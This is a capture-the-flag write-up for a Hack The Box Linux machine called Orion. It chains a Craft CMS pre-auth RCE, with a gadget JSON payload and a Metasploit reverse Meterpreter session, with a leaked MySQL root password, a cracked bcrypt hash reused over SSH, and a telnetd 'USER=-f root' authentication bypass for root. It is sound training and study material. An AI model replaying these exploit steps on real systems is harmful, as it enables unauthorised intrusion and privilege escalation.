$ cat writeup.md / 2026.08.27

HTB Orion writeup

Target: 10.129.32.78 · Linux · Craft CMS pre-auth RCE · password reuse · GNU inetutils telnetd authentication bypass

Orion is a compact chain built around two critical software flaws and one credential-management mistake. Craft CMS 5.6.16 is vulnerable to CVE-2025-32432, providing unauthenticated code execution as www-data. Craft's environment file then exposes a MySQL credential; the database contains a crackable bcrypt hash whose password is reused by the Linux user Adam. Finally, a loopback-only GNU inetutils 2.7 telnet daemon is vulnerable to CVE-2026-24061 and turns a crafted USER value into a passwordless root login.

Note: Flag values are intentionally redacted here. Their locations are /home/adam/user.txt and /root/root.txt.

Attack path at a glance

  1. Enumerate SSH and HTTP; follow the redirect to orion.htb.
  2. Identify Craft CMS and find version 5.6.16 on /admin/login.
  3. Exploit CVE-2025-32432 for an in-memory session as www-data.
  4. Read Craft's .env and query the local MySQL database.
  5. Crack the CMS bcrypt hash to darkangel.
  6. Reuse that password over SSH as adam and collect the user flag.
  7. Find GNU inetutils telnetd 2.7 on 127.0.0.1:23.
  8. Exploit CVE-2026-24061 with USER='-f root' and collect the root flag.

Enumeration

ping -c 3 -W 2 10.129.32.78
nmap -Pn -n --top-ports 1000 --min-rate 300 --max-retries 2 -T3 10.129.32.78
nmap -Pn -n -p- --min-rate 800 --max-retries 2 -T3 10.129.32.78
nmap -Pn -n -sC -sV -p22,80 --version-all 10.129.32.78
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

The full TCP scan found no additional externally reachable service. I avoided changing /etc/hosts and supplied the required virtual host per request:

curl --resolve orion.htb:80:10.129.32.78 -sS -D home.headers \
  http://orion.htb/ -o home.html

The home page was a simple telecom landing page, but its footer and headers identified Craft CMS:

Server: nginx/1.18.0 (Ubuntu)
X-Robots-Tag: none
X-Powered-By: Craft CMS

The standard control-panel route redirected to a customized login page:

curl --resolve orion.htb:80:10.129.32.78 -i http://orion.htb/admin
curl --resolve orion.htb:80:10.129.32.78 -sS \
  http://orion.htb/admin/login -o admin-login.html
grep -n 'Craft CMS 5' admin-login.html

A developer-added footer disclosed the exact build:

Craft CMS 5.6.16

Craft's advisory lists 5.6.16 as the last vulnerable Craft 5 release for CVE-2025-32432; the first fixed 5.x release in that branch is 5.6.17.

Initial access: CVE-2025-32432

The vulnerable image-transform action passes nested request data into Yii's object-configuration machinery. An attacker can attach a malicious behavior and instantiate gadget classes. GuzzleHttp\Psr7\FnStream can call a PHP function from its close handler, while yii\rbac\PhpManager can load PHP placed in the server-side Craft session.

CSRF validation is enabled, so exploitation must maintain the CraftSessionId, the CRAFT_CSRF_TOKEN cookie, and the actual token sent in X-CSRF-Token. A representative object graph for the benign phpinfo() check is:

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as check": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

I inspected the complete local Metasploit module before running it:

sed -n '1,340p' \
  /usr/share/metasploit-framework/modules/exploits/linux/http/\
craftcms_preauth_rce_cve_2025_32432.rb

The module first leaks session.save_path, injects a small eval() stub into a Craft PHP session, and triggers it by pointing the PhpManager gadget at that exact session file. Its payload stays in memory and does not write a persistent web shell.

msfconsole -q
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.32.78
set RPORT 80
set VHOST orion.htb
set LHOST 10.10.14.78
set LPORT 4444
set TARGET 0
run
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: www-data
meterpreter > pwd
/var/www/html/craft/web

Database credentials and the CMS hash

The Craft project root sat one directory above the public webroot. Its readable .env contained development settings and a privileged database credential:

CRAFT_ENVIRONMENT=dev
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

From a Meterpreter shell:

mysql -uroot -pSuperSecureCraft123Pass! -D orion \
  -e 'SELECT id,username,email,password FROM users;'
id  username  email           password
1   admin     adam@orion.htb  $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

The hash is bcrypt with cost 13. Hashcat mode 3200 recovered it from rockyou.txt:

hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt
hashcat -m 3200 admin.hash --show

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel

Adam and the user flag

The local part of adam@orion.htb suggested the OS username. The cracked CMS password was reused for SSH:

ssh adam@10.129.32.78
adam@10.129.32.78's password: darkangel

adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)
adam@orion:~$ whoami
adam

The user flag was at /home/adam/user.txt. Adam had no sudo privileges.

Local enumeration

adam@orion:~$ sudo -l
Sorry, user adam may not run sudo on orion.

adam@orion:~$ ss -lntup
tcp LISTEN 0 80  127.0.0.1:3306  0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80      0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22      0.0.0.0:*
tcp LISTEN 0 10  127.0.0.1:23    0.0.0.0:*

The interesting service was TCP 23, which external Nmap could not see because it was bound to loopback. Process and inetd configuration showed that root launched the daemon:

adam@orion:~$ cat /etc/inetd.conf
127.0.0.1:telnet stream tcp nowait root /usr/local/sbin/telnetd telnetd

adam@orion:~$ ls -l /usr/local/sbin/telnetd
/usr/local/sbin/telnetd -> /usr/libexec/telnetd

adam@orion:~$ /usr/local/sbin/telnetd --version
telnetd (GNU inetutils) 2.7

Privilege escalation: CVE-2026-24061

GNU's security advisory explains that inetutils telnetd versions 1.9.3 through 2.7 pass the client-controlled USER value to login(1) without sufficient sanitization. If the client sends -f root, login interprets -f as its authentication-bypass option.

adam@orion:~$ USER='-f root' telnet -a 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.

root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)
root@orion:~# whoami
root
root@orion:~# pwd
/root

No root password was needed. The root flag was at /root/root.txt.

Credentials

ContextUsernamePasswordImpact
Craft MySQLrootSuperSecureCraft123Pass!Full access to the local Craft database
Craft CMSadmin / adam@orion.htbdarkangelRecovered from bcrypt
Linux SSHadamdarkangelPassword reuse provided the user shell

References